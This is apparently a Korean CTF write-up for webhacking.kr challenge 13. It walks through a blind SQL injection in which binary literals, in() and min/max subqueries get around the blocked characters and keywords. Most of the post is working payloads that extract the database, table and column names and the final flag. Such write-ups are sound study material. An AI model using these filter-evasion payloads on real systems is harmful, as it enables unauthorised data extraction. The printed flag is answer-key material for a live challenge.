
13번 문제에요.
배점은 무려 1000점! 분야는 DB에요.

딱봐도 뭘 해야 할지 알것처럼 생겼네요.

if(true,1,0) 을 넣어보니

출력은 1.

if(false,1,0) 을 넣어보니

출력은 0 이 나오네요.
저기에 2를 넣었을땐 0이 나오는걸 보아 true 이면 1 false 이면 0을 반환하는것 같네요.
그럼 이제 무슨 키워드를 쓸수있는지 찾아보죠.
사용 가능 : select from ( ) ' or in min max length substr 0b ...
사용 불가 : + - * / % = # and like limit where 공백문자 0x ...
이런저런걸 넣어보니 대충 저런것 같네요.
= 와 like 둘다 막혀있으니 in 으로 우회하고 공백문자 는 ( ) 로 우회, 문자는 적당히 2진수로 우회하면 되겠네요!
그럼 먼저 DB의 이름을 뽑아보죠.

길이 : if(length((select(database())))in(0),1,0)
값 : if(substr((select(database())),1,1)in(0b110000),1,0)

DB의 이름은 chall13 이래요.
한결같은 DB명이네요.
그럼 테이블명을 뽑아내보죠.

길이 : if(length((select(min(if((select(table_schema)in('chall13')),table_name,null)))from(information_schema.tables)))in(0),1,0)
값 : if(substr((select(min(if((select(table_schema)in('chall13')),table_name,null)))from(information_schema.tables)),1,1)in(0b110000),1,0)
limit 와 where 가 필터링되니 min(if((select(table_schema)in('chall13')),table_name,null)) 으로 DB이름이 chall13일때만 table_name를 출력하게 만들고,
출력한 최솟값을 반환하게 우회해줬어요.

????
in('chall13') 부분도 2진수로 바꿔줘야 했던걸까요?
그래서 저부분도 2진수로 바꿔본결과!

flag_ab733768
라네요.
그러면 컬럼의 갯수를 뽑아내야하는데 * 가 막혀버렸으니 흐음...
그냥 min 돌려서 첫번째걸 뽑아볼게요.

어우 길어라
길이 : if(length((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)))in(0),1,0)
값 : if(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),1,1)in(0b110000),1,0)

flag_3a55b31d
혹시나 한개 더있을까 싶어서 min 을 max 로 바꾸고도 돌려보았지만 똑같았네요.
그럼 이제 마지막으로 flag를 뽑아내면 풀리겠네요!

길이 : if(length((select(min(flag_3a55b31d))from(flag_ab733768)))in(0),1,0)
값 : if(substr((select(min(flag_3a55b31d))from(flag_ab733768)),1,1)in(0b110000),1,0)


max로 다시 해보죠.

FLAG{challenge13gummyclear}

이제 저걸 인증에 집어넣으면????

빠밤!

문제가 풀렸네요.
'연구글 > webhacking.kr' 카테고리의 다른 글
| webhacking.kr Challenge(old) 15 / JavaScript (0) | 2020.08.21 |
|---|---|
| webhacking.kr Challenge(old) 14 / JavaScript (0) | 2020.08.21 |
| webhacking.kr Challenge(old) 12 / Computing (0) | 2020.08.21 |
| webhacking.kr Challenge(old) 11 / Computing (0) | 2020.08.21 |
| webhacking.kr Challenge(old) 10 / Computing (0) | 2020.08.21 |